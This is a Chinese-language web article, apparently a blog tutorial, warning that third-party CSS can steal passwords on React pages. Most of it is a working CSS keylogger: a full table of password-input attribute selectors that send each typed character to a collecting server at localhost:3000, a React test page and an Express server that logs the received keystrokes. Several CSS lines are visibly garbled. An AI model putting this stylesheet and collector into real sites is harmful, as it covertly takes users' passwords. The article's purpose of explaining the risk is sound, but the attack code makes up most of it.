第三方CSS并不安全!

:::danger 这种行为只存在于使用React/ 类React框架的页面中,场景一般隐匿于第三方脚本中从而窃取你的密码。 :::

攻击手段利用CSS属性选择器,可以在加载background-image
例如:以下CSS将选择 atype 等于 password 和 value 以结尾的所有输入a。之后它会尝试从http://localhost:3000/a。

这里因为react会设置value的值,所有这种安全问题是只发生在React身上。 value在默认的情况下,浏览器不会将用户输入的值储存在属性中,因此攻击取决于同步这些值的内容,即React 为了缓解这种情况,React正在寻找另外一种同步密码字段的方法,或者浏览器可以限制与密码字段的value属性匹配的选择器

图片.png

这里在输入框中输入123456,react会在元素节点直接映射出来

原理

:::danger 我们可以看下这个css密码表,这个文件将会为每个ASCII字符发送一个自定义请求,也就是键盘上的每一个按键都会有对应一个请求,而这个请求会将用户输入的信息(比如密码这种)嵌入,之后发送,变会成功窃取到密码。 :::

CSS密码表(举例)input[type=”password”][value$=” “] { background-image: url(“http://localhost:3000/+”);;) }
input[type=”password”][value$=”!”] { background-image: url(“http://localhost:3000/%21”);;) }
input[type=”password”][value$=”\””] { background-image: url(“http://localhost:3000/%22”);;) }
input[type=”password”][value$=”#”] { background-image: url(“http://localhost:3000/%23”);;) }
input[type=”password”][value$=”$”] { background-image: url(“http://localhost:3000/%24”);;) }
input[type=”password”][value$=”%”] { background-image: url(“http://localhost:3000/%25”);;) }
input[type=”password”][value$=”&”] { background-image: url(“http://localhost:3000/%26”);;) }
input[type=”password”][value$=”‘“] { background-image: url(“http://localhost:3000/%27”);;) }
input[type=”password”][value$=”(“] { background-image: url(“http://localhost:3000/%28”);;) }
input[type=”password”][value$=”)”] { background-image: url(“http://localhost:3000/%29”);;) }
input[type=”password”][value$=”*”] { background-image: url(“http://localhost:3000/%2A”);;) }
input[type=”password”][value$=”+”] { background-image: url(“http://localhost:3000/%2B”);;) }
input[type=”password”][value$=”,”] { background-image: url(“http://localhost:3000/%2C”);;) }
input[type=”password”][value$=”-“] { background-image: url(“http://localhost:3000/-“);;) }
input[type=”password”][value$=”.”] { background-image: url(“http://localhost:3000/.”);;) }
input[type=”password”][value$=”/“] { background-image: url(“http://localhost:3000/%2F”);;) }
input[type=”password”][value$=”0”] { background-image: url(“http://localhost:3000/0”);;) }
input[type=”password”][value$=”1”] { background-image: url(“http://localhost:3000/1”);;) }
input[type=”password”][value$=”2”] { background-image: url(“http://localhost:3000/2”);;) }
input[type=”password”][value$=”3”] { background-image: url(“http://localhost:3000/3”);;) }
input[type=”password”][value$=”4”] { background-image: url(“http://localhost:3000/4”);;) }
input[type=”password”][value$=”5”] { background-image: url(“http://localhost:3000/5”);;) }
input[type=”password”][value$=”6”] { background-image: url(“http://localhost:3000/6”);;) }
input[type=”password”][value$=”7”] { background-image: url(“http://localhost:3000/7”);;) }
input[type=”password”][value$=”8”] { background-image: url(“http://localhost:3000/8”);;) }
input[type=”password”][value$=”9”] { background-image: url(“http://localhost:3000/9”);;) }
input[type=”password”][value$=”:”] { background-image: url(“http://localhost:3000/%3A”);;) }
input[type=”password”][value$=”;”] { background-image: url(“http://localhost:3000/%3B”);;) }
input[type=”password”][value$=”<”] { background-image: url(“http://localhost:3000/%3C”);;) }
input[type=”password”][value$=”=”] { background-image: url(“http://localhost:3000/%3D”);;) }
input[type=”password”][value$=”>”] { background-image: url(“http://localhost:3000/%3E”);;) }
input[type=”password”][value$=”?”] { background-image: url(“http://localhost:3000/%3F”);;) }
input[type=”password”][value$=”@”] { background-image: url(“http://localhost:3000/%40”);;) }
input[type=”password”][value$=”A”] { background-image: url(“http://localhost:3000/A”);;) }
input[type=”password”][value$=”B”] { background-image: url(“http://localhost:3000/B”);;) }
input[type=”password”][value$=”C”] { background-image: url(“http://localhost:3000/C”);;) }
input[type=”password”][value$=”D”] { background-image: url(“http://localhost:3000/D”);;) }
input[type=”password”][value$=”E”] { background-image: url(“http://localhost:3000/E”);;) }
input[type=”password”][value$=”F”] { background-image: url(“http://localhost:3000/F”);;) }
input[type=”password”][value$=”G”] { background-image: url(“http://localhost:3000/G”);;) }
input[type=”password”][value$=”H”] { background-image: url(“http://localhost:3000/H”);;) }
input[type=”password”][value$=”I”] { background-image: url(“http://localhost:3000/I”);;) }
input[type=”password”][value$=”J”] { background-image: url(“http://localhost:3000/J”);;) }
input[type=”password”][value$=”K”] { background-image: url(“http://localhost:3000/K”);;) }
input[type=”password”][value$=”L”] { background-image: url(“http://localhost:3000/L”);;) }
input[type=”password”][value$=”M”] { background-image: url(“http://localhost:3000/M”);;) }
input[type=”password”][value$=”N”] { background-image: url(“http://localhost:3000/N”);;) }
input[type=”password”][value$=”O”] { background-image: url(“http://localhost:3000/O”);;) }
input[type=”password”][value$=”P”] { background-image: url(“http://localhost:3000/P”);;) }
input[type=”password”][value$=”Q”] { background-image: url(“http://localhost:3000/Q”);;) }
input[type=”password”][value$=”R”] { background-image: url(“http://localhost:3000/R”);;) }
input[type=”password”][value$=”S”] { background-image: url(“http://localhost:3000/S”);;) }
input[type=”password”][value$=”T”] { background-image: url(“http://localhost:3000/T”);;) }
input[type=”password”][value$=”U”] { background-image: url(“http://localhost:3000/U”);;) }
input[type=”password”][value$=”V”] { background-image: url(“http://localhost:3000/V”);;) }
input[type=”password”][value$=”W”] { background-image: url(“http://localhost:3000/W”);;) }
input[type=”password”][value$=”X”] { background-image: url(“http://localhost:3000/X”);;) }
input[type=”password”][value$=”Y”] { background-image: url(“http://localhost:3000/Y”);;) }
input[type=”password”][value$=”Z”] { background-image: url(“http://localhost:3000/Z”);;) }
input[type=”password”][value$=”[“] { background-image: url(“http://localhost:3000/%5B”);;) }
input[type=”password”][value$=”\“] { background-image: url(“http://localhost:3000/%5C”);;) }
input[type=”password”][value$=”]”] { background-image: url(“http://localhost:3000/%5D”);;) }
input[type=”password”][value$=”^”] { background-image: url(“http://localhost:3000/%5E”);;) }
input[type=”password”][value$=”“] { background-image: url(“[http://localhost:3000/“);](http://localhost:3000/_“);) }
input[type=”password”][value$=”`”] { background-image: url(“http://localhost:3000/%60”);;) }
input[type=”password”][value$=”a”] { background-image: url(“http://localhost:3000/a”);;) }
input[type=”password”][value$=”b”] { background-image: url(“http://localhost:3000/b”);;) }
input[type=”password”][value$=”c”] { background-image: url(“http://localhost:3000/c”);;) }
input[type=”password”][value$=”d”] { background-image: url(“http://localhost:3000/d”);;) }
input[type=”password”][value$=”e”] { background-image: url(“http://localhost:3000/e”);;) }
input[type=”password”][value$=”f”] { background-image: url(“http://localhost:3000/f”);;) }
input[type=”password”][value$=”g”] { background-image: url(“http://localhost:3000/g”);;) }
input[type=”password”][value$=”h”] { background-image: url(“http://localhost:3000/h”);;) }
input[type=”password”][value$=”i”] { background-image: url(“http://localhost:3000/i”);;) }
input[type=”password”][value$=”j”] { background-image: url(“http://localhost:3000/j”);;) }
input[type=”password”][value$=”k”] { background-image: url(“http://localhost:3000/k”);;) }
input[type=”password”][value$=”l”] { background-image: url(“http://localhost:3000/l”);;) }
input[type=”password”][value$=”m”] { background-image: url(“http://localhost:3000/m”);;) }
input[type=”password”][value$=”n”] { background-image: url(“http://localhost:3000/n”);;) }
input[type=”password”][value$=”o”] { background-image: url(“http://localhost:3000/o”);;) }
input[type=”password”][value$=”p”] { background-image: url(“http://localhost:3000/p”);;) }
input[type=”password”][value$=”q”] { background-image: url(“http://localhost:3000/q”);;) }
input[type=”password”][value$=”r”] { background-image: url(“http://localhost:3000/r”);;) }
input[type=”password”][value$=”s”] { background-image: url(“http://localhost:3000/s”);;) }
input[type=”password”][value$=”t”] { background-image: url(“http://localhost:3000/t”);;) }
input[type=”password”][value$=”u”] { background-image: url(“http://localhost:3000/u”);;) }
input[type=”password”][value$=”v”] { background-image: url(“http://localhost:3000/v”);;) }
input[type=”password”][value$=”w”] { background-image: url(“http://localhost:3000/w”);;) }
input[type=”password”][value$=”x”] { background-image: url(“http://localhost:3000/x”);;) }
input[type=”password”][value$=”y”] { background-image: url(“http://localhost:3000/y”);;) }
input[type=”password”][value$=”z”] { background-image: url(“http://localhost:3000/z”);;) }
input[type=”password”][value$=”{“] { background-image: url(“http://localhost:3000/%7B”);;) }
input[type=”password”][value$=”|”] { background-image: url(“http://localhost:3000/%7C”);;) }
input[type=”password”][value$=”\}”] { background-image: url(“http://localhost:3000/%7D”);;) }
input[type=”password”][value$=”~”] { background-image: url(“http://localhost:3000/~”);;) }
input[type=”password”][value$=””] { background-image: url(“http://localhost:3000/%7F”);;) }

react代码

客户端

  1. <div id="app"></div>
  2. <script src="https://cdn.bootcdn.net/ajax/libs/react/16.13.1/umd/react.production.min.js"></script>
  3. <script src="https://cdn.bootcdn.net/ajax/libs/react-dom/16.13.1/umd/react-dom.production.min.js"></script>
  4. <script src="https://cdn.bootcdn.net/ajax/libs/babel-standalone/7.0.0-beta.3/babel.min.js"></script>
  5. <script type="text/babel">
  6. const Ipt = React.createElement(()=>{
  7. const { useState } = window.React;
  8. const [state,setState] = useState({val:"123"})
  9. const setInput = (e) => {
  10. setState({
  11. val:e.target.value
  12. })
  13. }
  14. return <input type="password" onChange={setInput} value={state.val}></input>
  15. })
  16. ReactDOM.render(Ipt,document.getElementById('app'))
  17. </script>

服务器端

  1. // index.js
  2. // 这里用到的是index.js
  3. const express = require("express")
  4. const app = express()
  5. app.get("/:key", (req, res) => {
  6. process.stdout.write(req.params.key)
  7. return res.sendStatus(400)
  8. })
  9. app.listen(3000, () => console.log("> Ready to keylog at localhost:3000"))